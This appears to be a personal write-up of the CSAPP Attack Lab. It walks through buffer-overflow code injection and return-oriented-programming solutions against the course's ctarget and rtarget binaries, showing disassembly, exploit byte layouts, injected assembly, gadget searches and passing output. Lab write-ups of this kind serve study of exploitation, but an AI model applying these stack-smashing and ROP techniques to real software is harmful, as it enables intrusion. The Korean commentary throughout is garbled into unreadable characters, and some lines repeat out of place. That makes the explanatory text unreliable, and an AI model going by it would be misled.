๐ ์์ธ ์ ๋ฆฌ#
Part I: Code Injection Attacks#
- ์๋ก์ด ์ฝ๋๋ฅผ ์ธ์ ์
ํ์ง๋ ์๊ณ , string์ ์ง์ ๋ฐ์๋ฃ์ด์ ์กด์ฌํ๋ ํ๋ก์์ ธ๋ก ๊ฝ์๊ฒ์ด๋ค.
void test() { int val; val = getbuf(); printf("No exploit. Getbuf returned 0x%x\n", val); } - ์์ ๊ฐ์ ์ฝ๋์ ์ง์ ๋ฃ์ ์์
Level 1#
- void touch1() ํจ์๋ก ๊ฐ๊ฒ ๋ง๋ค์.
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 call 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 ret
4017be: 90 nop
4017bf: 90 nopgetbuf ํจ์๋ฅผ ๋ณด๋, 0x28 = 40๋ฐ์ดํธ๋ฅผ ์คํ๋ฉ๋ชจ๋ฆฌ์ ํ ๋นํ๊ณ , getํจ์๋ฅผ ๋ถ๋ฅธ๋ค.
๊ทธ๋ ๋ค๋ฉด sub๊ฐ ์ง๋ ์ดํ 40๋ฐ์ดํธ ์์๋ getbuf๊ฐ ๋๋๊ณ ๋์๊ฐ์ผํ ํจ์ ์์น๊ฐ ์์ ๊ฒ์ด๋ค!
00000000004017c0 <touch1>: 4017c0: 48 83 ec 08 sub $0x8,%rsp 4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel> 4017cb: 00 00 00 4017ce: bf c5 30 40 00 mov $0x4030c5,%edi 4017d3: e8 e8 f4 ff ff call 400cc0 <puts@plt> 4017d8: bf 01 00 00 00 mov $0x1,%edi 4017dd: e8 ab 04 00 00 call 401c8d <validate> 4017e2: bf 00 00 00 00 mov $0x0,%edi 4017e7: e8 54 f6 ff ff call 400e40 <exit@plt>touchํจ์์ ์์น๋ ๋ค์๊ณผ ๊ฐ์ด 0x4017c0๋ฒ์ด๋ค.
๋ฐ๋ผ์ 40๋ฐ์ดํธ ๋ค์ ret์ฃผ์๋ฅผ ์กฐ์ํ์. string์ input๋ฐ์ ๊ฒฐ๊ณผ๊ฐ
00 00 00 00 (... 40๊ฐ ) c0 17 40 00 00 00 00 00 (x86-64์์๋ 8๋ฐ์ดํธ์ฉ ๋ฆฌํ์๋์์ผ๋ก ์ฝ์ผ๋ฏ๋ก)- ๋ฅผ ์ธ์ ์ ํ๋ฉด ๋๊ฒ ๋ค.
- ๋ค์๊ณผ ๊ฐ์ ๋ด์ฉ์ ๋ฃ์ exploit.txt๋ฅผ ๋ง๋ค๊ณ ,
./hex2raw < exploit.txt > hex.txt
./ctarget -q < hex.txt- ๋ค์๊ณผ ๊ฐ์ ์ฝ๋๋ฅผ ํตํด exploit์ ์ํํ์.
Level 2#
- ์์ ํฌ๊ธฐ์ ์ฝ๋๋ฅผ exploit string์ ๋ฃ์ด์ผ ํ๋ค.
- void touch2(unsigned val) ์ด๋ผ๋ ํจ์๋ฅผ ํธ์ถํด์ผํ๊ณ , ์ด๋ val์ cookie์ ๊ฐ์์ผํ๋ค.
- ๊ทธ๋ ๋ค๋ฉด touch2๋ก ๊ฐ๊ธฐ ์ ์ rdi์ cookie๊ฐ์ด ๋ค์ด๊ฐ๋๋ก ํด์ผํ๋ค๋๊ฑด๋ฐ..
- ๋์น์ mov๋ฅผ ์ฐ๋ฉด ๋์ง ์์๊น?
- mov 0x59b997fa %rdi ๊ฐ์๊ฑธ ์ํํ๊ณ , touch2๋ก ๊ฐ๋ฉด ๋๋๊ฑฐ๊ฐ์๋ฐ..
- ์งง์ ์ฝ๋๋๊น ์คํ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ์ข ์ด์ฉํ ์ ์์ง ์์๊น?
- mov 0x59b997fa %rdi ๊ฐ์๊ฑธ ์ํํ๊ณ , touch2๋ก ๊ฐ๋ฉด ๋๋๊ฑฐ๊ฐ์๋ฐ..
mov 0x59b997fa, %rdi
ret- ๋ผ๊ณ touch2.s์ ์ฐ๊ณ ,
~/CSAPP/3_Attack_Lab$ gcc -c touch2.s
~/CSAPP/3_Attack_Lab$ objdump -d touch2.o
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: c3 ret- ์์ ๊ฐ์ด ํด์ hex๋ก ๋ฐ๊ฟ ์ ์๋ค.
- ์.. ๊ทธ๋ฌ๋ฉด ๋ค์ ์คํ๋ฉ๋ชจ๋ฆฌ -40์ฏค์ ๋ฐ๋ผ๋ณด๊ฒ ํ๋ค์์, ๊ฑฐ๊ธฐ์ ์ ์ฝ๋๋ฅผ ๋ฃ๊ณ , ret๋ฅผ ์ํํ๋ฉด ๋ ๋ค์ ๋ธ๋ญ์ ๋ณผํ ๋๊น ๊ทธ ๊ฐ์ touch2์ ์ฃผ์๋ฅผ ๋ฃ์ผ๋ฉด ๋์ง ์์๊น?
(gdb) x/50x $rsp
0x5561dc78: 0x00000000 0x00000000 0x00000000 0x00000000
0x5561dc88: 0x00000000 0x00000000 0x00000000 0x00000000
0x5561dc98: 0x55586000 0x00000000 0x00401976 0x00000000
0x5561dca8: 0x55685fe8 0x00000000 0x00401f24 0x00000000- 0x28๋งํผ ๋น ์ง ๋ค๋ค. ์ ๊ธฐ 0x00401976์ด ์ข์๊น ๊ณต๊ฒฉํ ์ฃผ์๊ณ . ๊ทธ๋ฌ๋ฉด ์ฌ๊ธฐ์ 0x5561dc78๋ก ๋ณด๋ด๊ณ , ๊ฑฐ๊ธฐ์ ์์์ ์์ธกํ ์ง์ ํด๋ณด์. ```
- ์๊ฑด ์คํจํ๋ค…
- ์คํ์ ์ง์ ์ ๋ ฌ์ ๋ง์ถ๋๊ฒ ๊น๋ค๋กญ๋ค.
- PC์ญํ ์ ํ๋ %rip์ ์คํ์ %rsp๋ ๋ณ๊ฐ๋๊น, ์ง์ ์คํ์ 0x4017ec๋ฅผ ๋ฐ์๋ฒ๋ ค๋ ๋ฌธ์ ๊ฐ ์๋ค.
movq $0x59b997fa, %rdi pushq $0x4017ec ret- ๋ก ํ๊ณ , ์ด์ผ์ด์ผ ์ํ๋ฉด ๋๋ค!!
Type string:Touch2!: You called touch2(0x59b997fa)- ์ผํธ!!!
Level 3#
- ์ด๋ฒ์๋ char *sval, ๊ทธ๋ฌ๋๊น string์ ์ ๋ฌํด์ผํ๋ค
- %rdi๊ฐ ์คํธ๋ง์ ์ฃผ์๋ฅผ ๊ฐ๋ฆฌํค๊ฒ ํ๊ณ , ๊ฑฐ๊ธฐ์ ์คํธ๋ง์ ๋ฃ์ด์ผํ๋ค
- ๋ฃ์ด์ผํ๋ ๊ฐ์ ๊ทธ ์ฟ ํค๊ฐ ๊ทธ๋๋ก ๋์ค๊ฒ ๋ฃ์ด์ผ ํ๋๋ฏ?
- ์ด๋ป๊ฒ ํ๋ฉด ์ข์๊น?
- ์ ์ผ ์ฒ์ 8๋ฐ์ดํธ์ ์ฐ๋ฆฌ๊ฐ ํ์๋กํ๋ ๋ฌธ์์ด์ด ๋ค์ด๊ฐ๊ณ
- ๊ทธ ๋ค์์ผ๋ก ์ฐ๋ฆฌ๊ฐ rip๋ฅผ ์ฎ๊ธธ๊ฑด๋ฐ, ์ฌ๊ธฐ์ ๊ทธ๋ฌ๋ฉด rdi์ ๋ฉ๋ชจ๋ฆฌ์ฃผ์๋ฅผ ์ง์ ํด์ฃผ๊ณ ,
- ๊ทธ๋ฆฌ๊ณ ์คํ์ ๋ฃ..๊ธฐ์๋ ๊ด์ฐฎ์๋ผ๋? 8์นธ ์ธ์ ์์๊น? ์ค์ผ ์๋นํ ๋ผ๋? ์ผ๋จ ํด๋ณด์.ใ
- ์ด๊ฑธ nop๊ฐ์๊ฑธ๋ก ๋ฏธ๋๊ฒ๋ ๊ฐ๋ฅํ๊ฐ?
- Level2์ ๊ฐ์ด ํ์ง๋ง, ๊ฒฐ๊ตญ hexmatchํจ์์ ์ํด์ ์ค์ผ๋นํ๋๊ฒ ๋ฌธ์ ์๋ค
- ์คํ ๋ฉ๋ชจ๋ฆฌ์ ์๋ซ์ชฝ์ ๊น์ด์ง๋ค๋ฉด ์ค์ผ๋นํ ์ ์๋ค
- ๊ทธ๋ ๋ค๋ฉด ์์ชฝ์ ๋ฃ์ด๋ฒ๋ฆฐ๋ค๋ฉด???
- ์ด์ฐจํผ ๋ฒํผ ์ค๋ฒํ๋ก์ฐ๋ก ์์ชฝ์ ์ค์ผ์์ผ๋ฒ๋ฆฌ๋๊ฑฐ, ์์ ํ๋ฐ ๋ฐ์๋ฒ๋ฆฌ์!
- ๋ฐ๋ผ์ ret ์ฃผ์ ๋ท์ชฝ ์์ ํ๊ณณ์ ๋ฐ์๋๊ณ ์ฐ๋ฉด.. ์ข์์ฐ!!
Type string:Touch3!: You called touch3("59b997fa") Valid solution for level 3 with target ctarget PASS: Would have posted the following:
Part II: Return-Oriented Programming#
- CTARGET๋ณด๋ค ์ด๋ ค์ธ ๊ฒ์ด๋ค.
- 3.10์ธ๊ฐ์์ ๋ฐฐ์ด ์คํ ๋ฌด์์ํ๋ ์ฐ๊ณ , ์คํ์์๋ ๋ช ๋ น์ด๋ ์คํ๋ถ๊ฐํ๊ฒ ํ ๊ฒ์ด๋ค.
- ํ์ง๋ง ์ด๋ ์๋ก์ด ์ฝ๋๋ฅผ ์ฃผ์
ํ๋๊ฒ ๋ง๊ณ ๋ ์กด์ฌํ๋ ์ฝ๋๋ฅผ ์คํํ๋๊ฒ์ผ๋ก ๋ซ์ ์ ์๋ค.
- ์ด๋ฅผ Return-Oriented Programing, ROP๋ผ๊ณ ๋ถ๋ฅธ๋ค.
- ret์ด ์ค๋ instruction ๋ฉ์ด๋ฆฌ๋ฅผ ์ ์ฐพ์๊ฐ๋ ์ ๋ต์ผ๋ก ์๋ํ๋ค.
void setval_210(unsigned *p){ *p = 3347663060U; }- ์์ ๊ฐ์ ์ฝ๋๋ ๋ค์๊ณผ ๊ฐ์ ๊ธฐ๊ณ์ฝ๋๊ฐ ๋๋ค.
0000000000400f15 : 400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi) 400f1b: c3 retq- ์ด๋ ๋ค์ (48 89 c7) ๋ง ๋ณด๋ฉด, ์ด๋ movq %rax, %rdi์ ๊ฐ๋ค.
- ์ด๋ฐ ๋๋์ผ๋ก๋ ์ด์ฉํ ์ ์๋ค!
Level 2#
- gadget farm์ ์ด์ฉํด์, ์์ Level 2์์ ํ๋๊ฑธ ๋๊ฐ์ด ํ๋ฉด ๋๋ค.
- ๊ฒฐ๊ตญ ํด์ผํ๋๊ฑด rdi์ ๊ฐ์ ๋ฃ๊ธฐ, touch2 ํจ์๋ก ๊ฐ๊ธฐ
- ์.. ๊ฐ์ ์ด๋ป๊ฒ ๋ฃ์ผ๋ฉด ์ข์๊น?
- 0x6054e4 ์ ์๋ cookie๋ฅผ ์ฐ๋๊ฑด ์ด๋ ค์ธ๊ฑฐ๊ณ , cookie ์์ฒด๋ ๋ด๊ฐ ์ง์ก ๋ฃ๋ ์์ญ์ผ ๊ฒ ๊ฐ๋ค
- ์, ์ ์ผ์ฒ์์ rsp๊ฐ ๋ณด๊ณ ์๋ ๊ฐ์ ๋ฃ์ผ๋ฉด 40๋ฐ์ดํธ์ ์ฒ์์ ์ธ ์ ์์ง ์์๊น?? ๊ทธ๋ ๋ค๋ฉด
movq (%rsp), rdi ret - ์ด๊ฑธ ๋ฃ๊ณ , 40๋ฐ์ดํธ๋ถํฐ touch2 ์ฃผ์๋ฅผ ๋ฃ์ผ๋ฉด ๋์ง ์์๊น?
0000000000000000 <.text>: 0: 48 8b 3c 24 mov (%rsp),%rdi 4: c3 ret - ์ข์. 48 8b 3c 24๋ฅผ ์ฐพ์์๋ง ์๋ค๋ฉด…
- ๋ฑํ ์๋ณด์ธ๋ค
- ์ผ๋จ ๊ฒฐ๊ตญ rdi๋ก ๋ฃ์ด์ผ ํ๋๊น, 48 89 ์ด์ฉ๊ตฌ ๋ค์ ์ฐพ์๋ณด์
00000000004019a0 <addval_273>: 4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax 4019a6: c3 ret- ์ผ๋จ ์ฌ๊ธฐ์ 48 89 c7 c3, ์ฆ movq %rax, %rdi / ret๋ฅผ ์ฐพ์ ์ ์๋ค
- 89 c7 c3์ movl %eax, %edi / ret ์ด๊ธฐ๋ ํ๋ค!
- ์ํ, ๊ฐ์ ๋ฃ์ด์ผํ๋๊ฑด mov (%rsp)๋ก๋ ๋์ง๋ง, ๊ฐ๋จํ๊ฒ popq๋ก๋ ๋๋ค!!
- popq %rax์ธ 58์ด๋ popq %rdi์ธ 5f๋ง ์ฐพ์ผ๋ฉด ๋๋ค!
00000000004019a7 <addval_219>: 4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax 4019ad: c3 ret - 58: popq %rax, 90: nop, c3: ret ์ผ๋ก ํด์ํ ์ ์์ง ์์๊น?
- ์ด๊ฑฐ๋ ์์๊ฑธ ์กฐํฉํด์ ์คํํด๋ณด์.
- ์ด.. ๊ทผ๋ฐ ์ด์๊ฐ ์๋ค. ๊ฒฐ๊ตญ rsp์ ์๋ ๋ฆฌํด์ฃผ์๋ก ๊ฐ์ ์คํํ๋๊ฑด๋ฐ, ๊ทธ๋ฌ๋ฉด ์คํ๋ฉ๋ชจ๋ฆฌ๊ฐ 8๋ฐ์ดํธ ๋ก๊ฒจ์ง๋? ๊ทธ๋ฆฌ๊ณ movq๋ฅผ ํ๋ฉด ๋ 8๋ฐ์ดํธ๊ฐ ๋ก๊ฒจ์ง๋? ํท๊ฐ๋ฆฌ๋ค. ์๋ง ๊ทธ๋ฐ๊ฑฐ๊ฐ๊ธด ํ๋ฐ..
~/CSAPP/3_Attack_Lab$ ./rtarget -q < hex4.txt Cookie: 0x59b997fa Type string:Touch2!: You called touch2(0x59b997fa) Valid solution for level 2 with target rtarget PASS: Would have posted the following:- ์ผํธ! ์ฑ๊ณตํ๋ค.
Level 3#
- ใ
ใ
์๋ Writeup ๊ณผ์ ์ง์์ ์ด๋ ค์์ ์ผ๋ถ๋ฌ ์ ์ ๋ฎ๊ฒ ๋ฐฐ์ ํ๋ค๊ณ ํ๋๊ฑด ์ง์ง ๋ฌด๋.. ๋ฌด์์ด๋ฐ
- ๊ทธ๋๋ ํด์ผ๊ฒ ์ง?
- ์์์ ํ๋๊ฒ๊ณผ ๋ง์ฐฌ๊ฐ์ง๋ก ๋ฌธ์์ด์ ๋ด์์ผ ํ๋๋ฐ, ๊ทธ ํฌ์ธํฐ ์์น๋ฅผ ์ ์๊ฐ ์์ผ๋ ์กฐ๊ธ ๊น๋ค๋กญ๋ค…
- ์, ๊ทธ๋๋ง ์์ด๋์ด๊ฐ ์๋ค๋ฉด, 0x40(%rsp)๊ฐ์ด ์คํ์
์ ์ข ์ ํด์ ์์ ํ๋ฐ์๋ค๊ฐ ๋ฐ์ดํฐ๋ฅผ ๋ฃ์ด๋ ์ ์์๊น?
- ์๋ ๊ทผ๋ฐ ์ด๊ฑด ๊ฑฐ๊ธฐ์๋ ๊ฐ์ธ๋ฐ
- ๊ฒฐ๊ตญ %rdi์๋ ์์ ํ ์คํ๋ฉ๋ชจ๋ฆฌ์ ์ฃผ์๊ฐ, ๊ทธ๋ฆฌ๊ณ ๊ทธ ์ฃผ์์ ์ฐ๋ฆฌ๊ฐ ์ธ์ ์ ํ ๋ฌธ์์ด์ด ์์ผ๋ฉด ๋๋๊ฑฐ๊ฐ์๋ฐ.
- ๊ทธ๋ ๋ค๋ฉด ์ด๋ป๊ฒ ํด์ผํ์ง? add rdi๊ฐ ์์ผ๋ฉด ์ข์๊น?
- mov rsp rdi
- addq 0x40 rdi
- ์ด๋ฐ๊ฒ ์์ผ๋ฉด ๋์ง ์์๊น?
0000000000401a03 <addval_190>: 401a03: 8d 87 41 48 89 e0 lea -0x1f76b7bf(%rdi),%eax 401a09: c3 ret- 48 89 e0: movq %rsp %rax๋ฅผ ์ฐพ์๋ค!
- ์ด์ ๋ค๋ฅธ๋ฐ์ ๊ฐ์ ์ ์ฐพ์์, lea๊ฐ์๊ฑธ๋ก ๋ํด์ ์ฐ๋ฉด ๋์ง ์์๊น?
0000000000000000 <.text>: 0: 48 8d 3c 3e lea (%rsi,%rdi,1),%rdi 4: 48 8d 3c 06 lea (%rsi,%rax,1),%rdi 8: 48 8d 3c 38 lea (%rax,%rdi,1),%rdi c: 48 8d 04 3e lea (%rsi,%rdi,1),%rax- ์ด๋ฐ ์น๊ตฌ๋ค์ ์ฐพ์ผ๋ฉด ๋๊ฒ ๋๋? 48 8d๋ฅผ ์ฐพ์๋ณด์
00000000004019bc <setval_470>: 4019bc: c7 07 63 48 8d c7 movl $0xc78d4863,(%rdi) 4019c2: c3 ret 00000000004019d6 <add_xy>: 4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax 4019da: c3 ret- ์ด๋ ๊ฒ ๋๊ฐ์ง๊ฐ ์๋๊ฒ๊ฐ๋ค.
- ๋ค์๊ป ๋๋ฌด ์ฐ๊ธฐ ์ข์๋ณด์ด๋๋ฐ, %rdi๋ %rsi์๋ค๊ฐ ์๊น ์ป์ด๋ %rsp๊ฐ์ ๋ฃ์ด๋๊ณ , ๋ค๋ฅธ๋ฐ์ ์๋ฌด ์์๊ฐ์ ํ๋ ๊ฐ์ ธ์ค์. ์ด๊ฑด %rsp๊ฐ์๋ฐ์ popq๋ก ํ์ณ์๋ ๋ ๋ฏ?
- movq rax rdi, movq rax rsi๋ฅผ ์ฐพ์์์ผํ๋ค.
- rdi๋ ์๊น ์ฐพ์๋จ๊ณ ,
0000000000401a11 <addval_436>: 401a11: 8d 87 89 ce 90 90 lea -0x6f6f3177(%rdi),%eax 401a17: c3 ret- 89 ce 90 90 c3์ด๋ฉด movl ecx esi, nop, nop, ret ์ด๋ค!
- ์ด์ ecx๋ก ์ฎ๊ธธ ์ ์๋์ง ์ฐพ์๋ณด์.
0000000000401a33 <getval_159>: 401a33: b8 89 d1 38 c9 mov $0xc938d189,%eax 401a38: c3 ret- ์ฌ๊ธฐ์ 89 d1 38 c9 c3์ด movl edx ecx, cmpb cl cl, ret์ด๊ณ
- ๊ทธ๋ฌ๋ฉด edx๋ก ๋ณด๋ด์ผ๋๋๋ฐ..
00000000004019db <getval_481>: 4019db: b8 5c 89 c2 90 mov $0x90c2895c,%eax 4019e0: c3 ret- ์ผํธ! 89 c2 90 c3 = movl eax, edx, nop, ret์ ์ฐพ์๋ค.
- ์ด๊ฑธ๋ก eax -> edx -> ecx -> esi ๊ฐ ๊ฐ๋ฅํด์ก๋ค.
~/CSAPP/3_Attack_Lab$ ./rtarget -q < hex4.txt Cookie: 0x59b997fa Type string:Touch3!: You called touch3("59b997fa") Valid solution for level 3 with target rtarget- ์๋ฅผ ์ ์กฐํฉํ๋ฉด ์ฑ๊ณตํ ์ ์๋ค!! ์คํ๋ฉ๋ชจ๋ฆฌ ์ฃผ์๋ 64๋นํธ๋๊น movl๊ฐ์๊ฑธ๋ก ์ฎ๊ฒจ์ง์ง ์๊ฒ ์กฐ์ฌํ์.
- ์, ๊ทธ๋๋ง ์์ด๋์ด๊ฐ ์๋ค๋ฉด, 0x40(%rsp)๊ฐ์ด ์คํ์
์ ์ข ์ ํด์ ์์ ํ๋ฐ์๋ค๊ฐ ๋ฐ์ดํฐ๋ฅผ ๋ฃ์ด๋ ์ ์์๊น?
